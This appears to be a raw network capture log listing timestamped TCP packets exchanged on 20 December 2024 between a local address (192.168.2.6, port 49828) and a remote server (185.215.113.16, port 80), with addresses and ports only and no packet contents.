Dec 20, 2024 16:20:02.149082899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.149123907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.149765015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.149820089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.149883032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.149895906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.149930000 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.150665998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.150767088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.150787115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.150811911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.151343107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.151395082 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.151438951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.151453018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.151495934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.152065992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.152230024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.152241945 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.152338028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.152898073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.152920008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.152931929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.152954102 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.153004885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.153680086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.183712959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.183782101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.183830023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.183845043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.183895111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.184225082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.184238911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.184252024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.184288025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.184869051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.184922934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.184993982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.185008049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.185066938 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.185601950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.185765028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.185776949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.185810089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.186440945 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.186484098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.186570883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.186584949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.186644077 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.187226057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.187376976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.187396049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.187433004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.187967062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.188025951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.188095093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.188107967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.188175917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.188757896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.188858032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.188873053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.188898087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.189538002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.189584017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.189698935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.189712048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.189762115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.190299034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.190423965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.190435886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.190469980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.191071987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.191118002 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.191198111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.191211939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.191256046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.191865921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.191963911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.191977024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.191999912 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.192636967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.192682981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.192781925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.192800045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.192841053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.193468094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.193564892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.193579912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.193689108 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.194190979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.194242954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.194319010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.194331884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.194375038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.194972992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.195106030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.195121050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.195149899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.195805073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.195863008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.195903063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.195916891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.195970058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.196647882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.196670055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.196681023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.196739912 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.222459078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.222481966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.222497940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.222678900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.222681046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.222915888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.222929955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.222995043 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.223421097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.223746061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.272028923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.272150993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.272166967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.272221088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.272335052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.272383928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.272515059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.272706032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.272753954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.273158073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.273236036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.273277998 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.273410082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.273945093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.273989916 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.274133921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.274147034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.274195910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.274914026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.275022984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.275038958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.275069952 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.275731087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.275810003 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.275846958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.275857925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.275901079 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.276765108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.277038097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.277082920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.342490911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.342519045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.342530966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.342560053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.342793941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.342844963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.342978954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.342995882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.343039036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.343589067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.343691111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.343703032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.343729019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.344335079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.344399929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.344444990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.344458103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.344496012 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.345180988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.345285892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.345299959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.345340967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.345922947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.345982075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.346158981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.346174002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.346232891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.346843958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.346942902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.346955061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.346987963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.347609997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.347623110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.347656012 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.347681999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.347724915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.348390102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.348491907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.348503113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.348664999 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.377007008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.377042055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.377062082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.377110004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.377151012 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.377314091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.377567053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.377626896 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.377650023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.377759933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.377770901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.377810001 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.378444910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.378544092 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.378576040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.378719091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.378763914 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.379209042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.379307032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.379328966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.379350901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.379992008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.380052090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.380115986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.380168915 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.380212069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.380790949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.380870104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.380880117 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.380911112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.381531954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.381586075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.381647110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.381659031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.382316113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.382349968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.382399082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.382411003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.382445097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.383122921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.383169889 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.383196115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.383208036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.383250952 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.383908987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.384074926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.384087086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.384118080 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.384644985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.384685993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.384774923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.384788036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.384825945 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.385456085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.385545969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.385560036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.385588884 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.386200905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.386246920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.386338949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.386349916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.386394978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.387243032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.387363911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.387377977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.387406111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.387830973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.387871027 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.387913942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.387924910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.387962103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.388650894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.388762951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.388775110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.388803005 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.389316082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.389389038 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.389420033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.389432907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.389472008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.390074968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.414561033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.414621115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.414649010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.414664030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.414716005 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.414900064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.415484905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.415498018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.415541887 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.415669918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.415714025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.464111090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.464258909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.464313030 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.464329958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.464540005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.464554071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.464587927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.465126038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.465174913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.465256929 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.465270042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.465307951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.465950966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.466104984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.466149092 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.466298103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.466434956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.466447115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.466504097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.467355967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.467369080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.467384100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.467397928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.467428923 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.469405890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.469480991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.469494104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.469527960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.469767094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.469801903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.469985008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.520471096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.535640001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.535830975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.535845995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.535892963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.536154985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.536199093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.536351919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.536366940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.536416054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.537117958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.537245035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.537256956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.537398100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.538307905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.538330078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.538345098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.538372040 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.538391113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.538552999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.538700104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.538712978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.538750887 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.539419889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.539467096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.539499044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.539515018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.539551973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.540134907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.540205002 CET	80	49828	185.215.113.16	192.168.2.6
